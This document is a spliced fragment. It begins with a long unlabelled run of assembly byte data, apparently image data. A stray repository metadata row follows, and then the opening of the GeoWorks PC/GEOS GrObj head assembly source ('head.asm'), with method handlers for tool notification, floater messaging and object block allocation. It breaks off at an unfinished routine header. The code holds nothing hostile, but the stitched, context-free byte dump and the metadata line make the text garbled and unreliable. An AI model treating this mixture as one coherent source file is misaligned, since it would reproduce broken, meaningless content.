0x00, 0xe0, 0xe0, 0xee, 0x0e, 0x00, 0xcc, 0xcf,
0xcc, 0xc0, 0xe0, 0x00, 0x0e, 0x00, 0x0f, 0xfc,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x0d, 0x0f, 0xff, 0xff, 0xf0, 0xaa, 0x07, 0x0f,
0x00, 0x00, 0x0f, 0x00, 0xe0, 0x0e, 0xe0, 0xfe,
0x00, 0xfe, 0x0e, 0x09, 0x00, 0xcf, 0xcc, 0xcf,
0xc0, 0xe0, 0x00, 0x00, 0xe0, 0x0f, 0xfc, 0xff,
0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x0f, 0x0f, 0xff, 0xff, 0xf0, 0xa0, 0x77, 0x00,
0xff, 0xff, 0xf0, 0xe0, 0x00, 0xee, 0x00, 0xe0,
0x09, 0xfe, 0x00, 0x0a, 0x0e, 0x00, 0xcc, 0xcf,
0xcc, 0x0e, 0x00, 0x0e, 0x00, 0x0e, 0x0f, 0xfc,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x08, 0x0f, 0xff, 0xff, 0xf0, 0xa0, 0x77, 0x0f,
0x00, 0x00, 0xfe, 0x0e, 0x13, 0xe0, 0x00, 0x0e,
0x00, 0x99, 0x00, 0x00, 0x0e, 0x00, 0xcf, 0xcc,
0xcf, 0x0e, 0x00, 0xe0, 0xe0, 0x00, 0x0f, 0xff,
0x0f, 0xfe, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x23, 0x0f, 0xff, 0xff, 0xf0, 0x07, 0x77, 0x0f,
0x0f, 0xf0, 0x00, 0xe0, 0xee, 0x0c, 0xcf, 0x00,
0xe0, 0xf9, 0x9f, 0x99, 0x90, 0xe0, 0x0c, 0xcf,
0xc0, 0xe0, 0x00, 0x0e, 0x00, 0xff, 0x0f, 0xff,
0x0f, 0x7f, 0xff, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfe, 0xff, 0x0b, 0x0f, 0x77, 0x0f,
0xf0, 0x0e, 0x00, 0x00, 0xe0, 0xcf, 0xcc, 0x00,
0xe0, 0xfe, 0x99, 0x10, 0xf0, 0xe0, 0x0f, 0xcc,
0x0e, 0xe0, 0xe0, 0x00, 0xff, 0x0f, 0x0f, 0xff,
0x00, 0x7f, 0xff, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfe, 0xff, 0x1f, 0x0f, 0x7f, 0x00,
0x00, 0xe0, 0xe0, 0x0e, 0x0f, 0xcc, 0xcf, 0xc0,
0x0e, 0x00, 0x00, 0x09, 0x90, 0x0e, 0x00, 0x00,
0xee, 0x0e, 0x0e, 0x00, 0x00, 0x0f, 0x0f, 0xf0,
0xa0, 0x77, 0xff, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x0a, 0x7f, 0x0e, 0x00,
0x0e, 0x00, 0x0e, 0x0c, 0xcf, 0xcc, 0xc0, 0x0e,
0xfe, 0x00, 0x10, 0x09, 0x00, 0xe0, 0x0e, 0xe0,
0x00, 0xe0, 0xff, 0xff, 0xf0, 0x0f, 0xf0, 0xa0,
0x77, 0xff, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x09, 0x7f, 0x00, 0xe0,
0x00, 0x00, 0xe0, 0xcf, 0xcc, 0xcf, 0xc0, 0xfe,
0x0e, 0xfd, 0x00, 0x0d, 0xee, 0x00, 0xe0, 0x0f,
0x00, 0x00, 0x0f, 0x0f, 0x0a, 0xa0, 0x77, 0xff,
0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x0a, 0x00, 0x0e, 0x00,
0x00, 0xe0, 0xcc, 0xcf, 0xcc, 0xc0, 0x0e, 0x0e,
0xfe, 0xe0, 0x0f, 0x00, 0x0e, 0xe0, 0x0e, 0x00,
0xf0, 0xff, 0xff, 0x0f, 0x00, 0xaa, 0x07, 0x77,
0xff, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x08, 0x0e, 0x00, 0xe0,
0x00, 0xe0, 0xcf, 0xcc, 0xcf, 0xc0, 0xfd, 0x0e,
0x10, 0xee, 0xe0, 0x00, 0xee, 0x00, 0x0f, 0xff,
0x00, 0x00, 0xff, 0x0a, 0xaa, 0x07, 0x7f, 0xff,
0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x13, 0x0e, 0xe0, 0x0e,
0x0e, 0x0f, 0xcc, 0xcf, 0xcc, 0xc0, 0x0e, 0x0e,
0xe0, 0xe0, 0xee, 0xe0, 0x09, 0x0e, 0xe0, 0xf0,
0x0f, 0xfe, 0xf0, 0x06, 0xaa, 0xa0, 0x77, 0x7f,
0xff, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x08, 0x0e, 0xee, 0x00,
0xee, 0x0c, 0xcf, 0xcc, 0xcf, 0xc0, 0xfd, 0x0e,
0x0c, 0xee, 0x00, 0x9c, 0x90, 0x0f, 0xff, 0xf0,
0x00, 0x00, 0x0a, 0xa0, 0x07, 0x77, 0xfe, 0xff,
0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x19, 0x09, 0x9e, 0xe0,
0x0e, 0x0f, 0xcc, 0xcf, 0xcc, 0x00, 0xe0, 0xee,
0xe0, 0xe0, 0xee, 0x00, 0xc9, 0xc9, 0x0f, 0xf0,
0xff, 0xff, 0x00, 0x00, 0x0e, 0xe0, 0x00, 0xfe,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x1d, 0x0e, 0x9e, 0xee,
0x00, 0x0c, 0xcf, 0xcc, 0xcf, 0x00, 0xe0, 0xee,
0x0e, 0x0e, 0xe0, 0x00, 0x9c, 0x90, 0xff, 0x02,
0x0f, 0x00, 0xf0, 0x0b, 0x0e, 0xe0, 0xb0, 0x77,
0xff, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x07, 0x0e, 0x99, 0x9e,
0xe0, 0x00, 0xcc, 0xcf, 0xc0, 0xfd, 0x00, 0x11,
0x0e, 0x09, 0x90, 0x09, 0x0f, 0xff, 0x02, 0x20,
0xaa, 0x0f, 0x00, 0xec, 0xce, 0x00, 0x77, 0xff,
0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0xfe, 0x00, 0x00, 0xee,
0xfd, 0x00, 0xfd, 0xcc, 0x11, 0xc0, 0x09, 0x90,
0x00, 0x0f, 0xff, 0xf0, 0x0a, 0xa0, 0xf0, 0xee,
0xce, 0xec, 0xee, 0x07, 0xff, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x07, 0x0f, 0xff, 0x9f,
0x0e, 0xe0, 0x0c, 0xcc, 0xcc, 0xfd, 0x00, 0x03,
0x0c, 0xc0, 0x99, 0x90, 0xfe, 0xff, 0x0a, 0x00,
0x0f, 0xf0, 0xee, 0xce, 0xec, 0xee, 0x07, 0x7f,
0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x03, 0x00, 0x09, 0xff,
0xf0, 0xfd, 0x00, 0xfd, 0xee, 0x04, 0xe0, 0x0c,
0x09, 0x0e, 0x0f, 0xfd, 0xff, 0x08, 0xfe, 0x00,
0xec, 0xce, 0x00, 0x77, 0x7f, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x10, 0x00, 0x00, 0xff,
0x9f, 0x0c, 0x00, 0xee, 0xe0, 0xee, 0xe0, 0xee,
0xe0, 0xee, 0xe0, 0xc0, 0x0e, 0x0f, 0xfc, 0xff,
0x07, 0x0b, 0x0e, 0xe0, 0xb0, 0x77, 0xff, 0xff,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x06, 0x00, 0x00, 0x09,
0xff, 0x00, 0xe0, 0xee, 0xfb, 0x0e, 0x03, 0xee,
0x00, 0x00, 0xe0, 0xfc, 0xff, 0x07, 0x00, 0x0e,
0xe0, 0x00, 0x77, 0xff, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0xfe, 0x00, 0x0d, 0xff,
0x90, 0x0e, 0x0e, 0xe0, 0xee, 0xe0, 0xee, 0xe0,
0xee, 0x0e, 0x0c, 0xc0, 0xe0, 0xfb, 0xff, 0x06,
0x00, 0x07, 0x77, 0x77, 0xff, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x07, 0x0f, 0x00, 0x00,
0xf9, 0xf0, 0xe0, 0xee, 0xe0, 0xfe, 0x00, 0x05,
0x0e, 0xe0, 0xe0, 0x0c, 0xc0, 0xe0, 0xfb, 0xff,
0x02, 0x07, 0x77, 0x7f, 0xfe, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x07, 0x0f, 0x00, 0x00,
0x0f, 0xf0, 0x0e, 0x00, 0x0e, 0xfe, 0xee, 0x05,
0xe0, 0x00, 0xe0, 0xcc, 0xc0, 0xe0, 0xfb, 0xff,
0x06, 0x0f, 0x77, 0xff, 0xcf, 0xff, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x05, 0x0f, 0xf0, 0x00,
0x0f, 0xf9, 0x00, 0xfe, 0xee, 0x07, 0xe0, 0x00,
0xee, 0xe0, 0x00, 0xcc, 0xc0, 0xe0, 0xfb, 0xff,
0x06, 0x0f, 0xff, 0xfc, 0xcc, 0xff, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x10, 0x0f, 0xf0, 0x00,
0x00, 0x9f, 0x0e, 0xee, 0xee, 0x00, 0x0f, 0xff,
0x0e, 0xe0, 0x0c, 0xcc, 0x0e, 0x0f, 0xfb, 0xff,
0x06, 0x0f, 0xff, 0xcc, 0xfc, 0xcf, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x07, 0x0f, 0xff, 0x00,
0x00, 0xff, 0x0e, 0xee, 0xe0, 0xfe, 0xff, 0x08,
0xf0, 0x00, 0x0c, 0xcc, 0x0e, 0x0f, 0xff, 0xff,
0xcf, 0xfe, 0xff, 0x06, 0x0f, 0xfc, 0xcf, 0xcc,
0xcc, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x07, 0x0f, 0xff, 0x00,
0x00, 0x0f, 0x90, 0xee, 0x0f, 0xfd, 0xff, 0x07,
0x00, 0xcc, 0xc0, 0xe0, 0xff, 0xff, 0xfc, 0xcc,
0xfe, 0xff, 0x06, 0x0f, 0xfc, 0xfc, 0xcc, 0xcc,
0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x06, 0x0f, 0xff, 0xf0,
0x00, 0x09, 0xf0, 0x00, 0xfe, 0xff, 0x0d, 0x00,
0xff, 0x00, 0xcc, 0x0e, 0x0f, 0xff, 0xff, 0xcc,
0xfc, 0xcf, 0xff, 0xff, 0x0f, 0xfd, 0xcc, 0x01,
0xcf, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x06, 0x0f, 0xff, 0xf0,
0x00, 0x00, 0xf0, 0x0f, 0xfc, 0xff, 0x0c, 0x00,
0xc0, 0xe0, 0xff, 0xff, 0xfc, 0xcf, 0xcc, 0xcc,
0xff, 0xff, 0x0f, 0xfc, 0xfe, 0xcc, 0x01, 0xff,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x06, 0x0f, 0xff, 0xff,
0x00, 0x00, 0xf9, 0x0f, 0xfe, 0xff, 0x0e, 0xf0,
0xff, 0x0c, 0x0e, 0x0f, 0xff, 0xff, 0xcc, 0xfc,
0xcc, 0xcc, 0xcf, 0xff, 0x0f, 0xfc, 0xfe, 0xcc,
0x01, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x06, 0x0f, 0xff, 0xff,
0xf0, 0x00, 0x0f, 0x0f, 0xfe, 0xff, 0x07, 0xf0,
0xff, 0x00, 0xe0, 0xff, 0xff, 0xfc, 0xcf, 0xfd,
0xcc, 0x07, 0xff, 0x0f, 0xff, 0xcc, 0xcc, 0xcf,
0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x06, 0x0f, 0xff, 0xff,
0xf0, 0x00, 0x0f, 0x0f, 0xfe, 0xff, 0x07, 0x0f,
0xff, 0x00, 0xe0, 0xff, 0xff, 0xfc, 0xfc, 0xfd,
0xcc, 0x07, 0xff, 0x0f, 0xff, 0xfc, 0xcc, 0xff,
0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x0f, 0x0f, 0x00, 0x00,
0x0c, 0x00, 0x09, 0x0f, 0xff, 0xff, 0x00, 0x0f,
0x00, 0x0e, 0x0f, 0xff, 0xff, 0xfb, 0xcc, 0x07,
0xcf, 0x0f, 0xff, 0xff, 0xcf, 0xff, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x10, 0x0f, 0x0e, 0x44,
0x4c, 0xc0, 0x0f, 0x00, 0xff, 0xf0, 0x0f, 0xf0,
0x0f, 0x0e, 0x0f, 0xff, 0xff, 0xfc, 0xfc, 0xcc,
0x02, 0xff, 0x0f, 0xcc, 0xfd, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x06, 0x0f, 0xf0, 0xee,
0x4e, 0xc0, 0x00, 0xf0, 0xfc, 0xff, 0x04, 0x0e,
0x0f, 0xff, 0xff, 0xfc, 0xfc, 0xcc, 0x03, 0xff,
0x0f, 0xcc, 0xcf, 0xfe, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x07, 0x0f, 0xf0, 0xe4,
0x4c, 0xcc, 0x00, 0x90, 0x00, 0xfe, 0xff, 0x01,
0xf0, 0x00, 0xfd, 0xff, 0xfd, 0xcc, 0x08, 0xcf,
0xff, 0x0f, 0xfc, 0xcc, 0xcc, 0xcf, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x0c, 0x0f, 0xf0, 0xe4,
0xe4, 0x4e, 0x00, 0x00, 0x0f, 0x0f, 0xff, 0xff,
0x0f, 0x00, 0xfd, 0xff, 0x00, 0xfc, 0xfe, 0xcc,
0x02, 0xff, 0xff, 0x0f, 0xfd, 0xcc, 0x01, 0xff,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x0c, 0x0f, 0xff, 0x04,
0x44, 0x4c, 0xc0, 0x00, 0xf0, 0xf0, 0xff, 0xf0,
0xf0, 0x00, 0xfc, 0xff, 0x0b, 0xcc, 0xcc, 0xcf,
0xff, 0xff, 0x0f, 0xcc, 0xfc, 0xcf, 0xcc, 0xff,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x05, 0x0f, 0xff, 0x0e,
0xee, 0xe4, 0xc0, 0xfa, 0x0f, 0xfc, 0xff, 0x01,
0xfc, 0xcc, 0xfe, 0xff, 0x06, 0x0f, 0xcc, 0xff,
0xff, 0xcc, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x06, 0x0f, 0xff, 0x0e,
0xe4, 0x44, 0xec, 0x00, 0xfc, 0xf0, 0x00, 0x0f,
0xfb, 0xff, 0x00, 0xcf, 0xfe, 0xff, 0x06, 0x0f,
0xcc, 0xff, 0xff, 0xcc, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x06, 0x0f, 0xff, 0x0e,
0xe4, 0xe4, 0x4c, 0x00, 0xfd, 0x0f, 0x00, 0x00,
0xf6, 0xff, 0x06, 0x0f, 0xcc, 0xff, 0xff, 0xcc,
0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x06, 0x00, 0x00, 0x0e,
0xe4, 0x44, 0xec, 0xe0, 0xf1, 0x00, 0x06, 0x0f,
0xcc, 0xff, 0xff, 0xcc, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfa, 0xff, 0x04, 0xf0, 0x0e, 0xee,
0x44, 0xcc, 0xfd, 0x00, 0x01, 0x77, 0x77, 0xf6,
0xff, 0x05, 0xcc, 0xff, 0xff, 0xcc, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xf9, 0xff, 0x09, 0xf0, 0x0e, 0x4e,
0x4e, 0xc0, 0x00, 0x00, 0x77, 0x77, 0x7f, 0xf6,
0xff, 0x05, 0xcc, 0xff, 0xff, 0xcc, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xf8, 0xff, 0x03, 0xf0, 0x44, 0x4c,
0x07, 0xfe, 0x77, 0x00, 0x7f, 0xf5, 0xff, 0x05,
0xcc, 0xff, 0xff, 0xcc, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xf7, 0xff, 0x04, 0x0e, 0x40, 0x77,
0x77, 0x7f, 0xf3, 0xff, 0x05, 0xcc, 0xff, 0xff,
0xcc, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xf7, 0xff, 0x03, 0xf0, 0x0f, 0x77,
0x77, 0xf2, 0xff, 0x05, 0xcc, 0xff, 0xff, 0xcc,
0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xf7, 0xff, 0x03, 0xf0, 0xff, 0xf7,
0x7f, 0xf2, 0xff, 0x05, 0xcc, 0xff, 0xff, 0xcc,
0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xf5, 0xff, 0x00, 0xf7, 0xf1, 0xff,
0xfd, 0xcc, 0x01, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xe4, 0xff, 0x05, 0xfc, 0xcc, 0xcc,
0xcf, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xdf, 0xff, 0x00, 0x00
db 0x00, 0x7f, 0xfa, 0xff, 0x00, 0xfc
db 0x00, 0xd0, 0xe0, 0xff, 0x01, 0xf0, 0xd0
db 0x00, 0x7f, 0xfa, 0xff, 0x00, 0xfc
db 0x01, 0xd0, 0x0f, 0xe1, 0xff, 0x01, 0x00, 0xd0
db 0x00, 0x1f, 0xfa, 0xff, 0x00, 0xf0
db 0x01, 0xdd, 0xd0, 0xe1, 0x00, 0x01, 0xdd, 0xd0
| 42.775794 | 57 | 0.623916 |
8d794463f66f1be25fa6d32edcdb568f1f51e757 | 30,810 | asm | Assembly | Library/GrObj/Head/head.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/GrObj/Head/head.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/GrObj/Head/head.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: GeoDraw
FILE: graphicHead.asm
AUTHOR: Steve Scholl, Jun 18, 1991
ROUTINES:
Name
----
INT GrObjHeadCreateBlock
INT GrObjHeadCreateFloater
INT GrObjHeadDestroyFloater
INT GrObjHeadGetCurrentBody
INT GrObjHeadMessageToFloater
INT GrObjHeadAllLargePTRS
METHOD HANDLERS:
Name
----
GrObjHeadSetCurrentTool
GrObjHeadSetCurrentToolWithDataBlock
GrObjHeadGetCurrentTool
GrObjHeadSetCurrentBody
GrObjHeadFloaterFinishedCreate
GrObjHeadClassedEventToFloater
GrObjHeadClassedEventToFloaterIfCurrentBody
REVISION HISTORY:
Name Date Description
---- ---- -----------
Steve 06/19/91 Initial revision
DESCRIPTION:
$Id: head.asm,v 1.1 97/04/04 18:08:15 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjClassStructures segment resource
GrObjHeadClass
GrObjClassStructures ends
GrObjInitCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjHeadBuild
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Return desired super class
PASS:
*(ds:si) - instance data of object
ds:[bx] - instance data of object
ds:[di] - master part of object (if any)
es - segment of GrObjHeadClass
RETURN:
cx:dx - fptr to super class
DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
none
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 7/23/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjHeadBuild method dynamic GrObjHeadClass, MSG_META_RESOLVE_VARIANT_SUPERCLASS
.enter
mov cx,segment VisEmptyClass
mov dx,offset VisEmptyClass
.leave
ret
GrObjHeadBuild endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjHeadSendNotifyCurrentTool
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Description: Sends UI notification to update anyone who cares about the
current grobj tool.
Pass: *ds:si = GrObjHead
Return: nothing
Destroyed: nothing
Comments:
Revision History:
Name Date Description
---- ------------ -----------
jon Apr 2, 1992 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjHeadSendNotifyCurrentTool method GrObjHeadClass,
MSG_GH_SEND_NOTIFY_CURRENT_TOOL
uses bx, cx, dx, bp
.enter
movdw cxdx, ds:[di].GH_currentTool
mov bp, ds:[di].GH_initializeFloaterData
mov bx, size GrObjNotifyCurrentTool
call GrObjGlobalAllocNotifyBlock
push ds
call MemLock
mov ds, ax
mov ds:[GONCT_toolClass].segment, cx
mov ds:[GONCT_toolClass].offset, dx
mov ds:[GONCT_specInitData], bp
call MemUnlock
pop ds
mov cx, GAGCNLT_APP_TARGET_NOTIFY_GROBJ_CURRENT_TOOL_CHANGE
mov dx, GWNT_GROBJ_CURRENT_TOOL_CHANGE
call GrObjGlobalUpdateControllerLow
.leave
ret
GrObjHeadSendNotifyCurrentTool endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjHeadGetCurrentTool
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
Gets the current tool class.
PASS:
*(ds:si) - instance data of object
ds:[bx] - instance data of object
ds:[di] - master part of object (if any)
es - segment of GrObjHeadClass
RETURN:
cx:dx - fptr to object class
bp - MSG_GO_GROBJ_SPECIFIC_INITIALIZE data
DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
none
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 6/18/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjHeadGetCurrentTool method dynamic GrObjHeadClass,
MSG_GH_GET_CURRENT_TOOL
.enter
movdw cxdx, ds:[di].GH_currentTool
mov bp, ds:[di].GH_initializeFloaterData
.leave
ret
GrObjHeadGetCurrentTool endm
GrObjInitCode ends
GrObjRequiredInteractiveCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjHeadCreateBlock
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
Allocate an object block
CALLED BY: INTERNAL
GrObjHeadCreateFloater
PASS:
nothing
RETURN:
bx - handle of block
DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
none
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 6/18/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjHeadCreateBlock proc near
.enter
call GeodeGetProcessHandle
call ProcInfo
call UserAllocObjBlock
.leave
ret
GrObjHeadCreateBlock endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjHeadCallFloater
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send encapsulated message to floater and return params
PASS:
*(ds:si) - instance data of object
ds:[bx] - instance data of object
ds:[di] - master part of object (if any)
es - segment of GrObjHeadClass
cx - message handle
RETURN:
ax,cx,dx,bp - from floater
DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
none
KNOWN BUGS/SIDE EFFECTS/IDEAS:
This method should be optimized for SMALL SIZE over SPEED
Common cases:
unknown
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 10/ 5/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjHeadCallFloater method dynamic GrObjHeadClass,
MSG_GH_CALL_FLOATER
.enter
call GrObjHeadGuaranteeFloater
mov bx,cx ;event handle
movdw cxsi,ds:[di].GH_floater
call MessageSetDestination
mov di,mask MF_CALL or mask MF_FIXUP_DS
call MessageDispatch
.leave
ret
GrObjHeadCallFloater endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjHeadMessageToFloater
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send a message to the floater
CALLED BY: INTERNAL
PASS:
*(ds:si) - graphic head
ax - message
cx,dx,bp - other message data
di - MessageFlags
RETURN:
if no floater return
zero flag set
else
zero flag cleared
if MF_CALL
ax,cx,dx,bp
no flags except carry
otherwise
nothing
DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
none
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 7/18/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjHeadMessageToFloater proc far
class GrObjHeadClass
uses bx,si,di
.enter
EC < call ECGrObjHeadCheckLMemObject >
call GrObjHeadGuaranteeFloater
mov si,ds:[si]
mov bx,ds:[si].GH_floater.handle
tst bx
jz done
mov si,ds:[si].GH_floater.chunk
ornf di, mask MF_FIXUP_DS
call ObjMessage
; Clear zero flag to signify message being sent
;
ClearZeroFlagPreserveCarry si
done:
.leave
ret
GrObjHeadMessageToFloater endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjHeadClassedEventToFloater
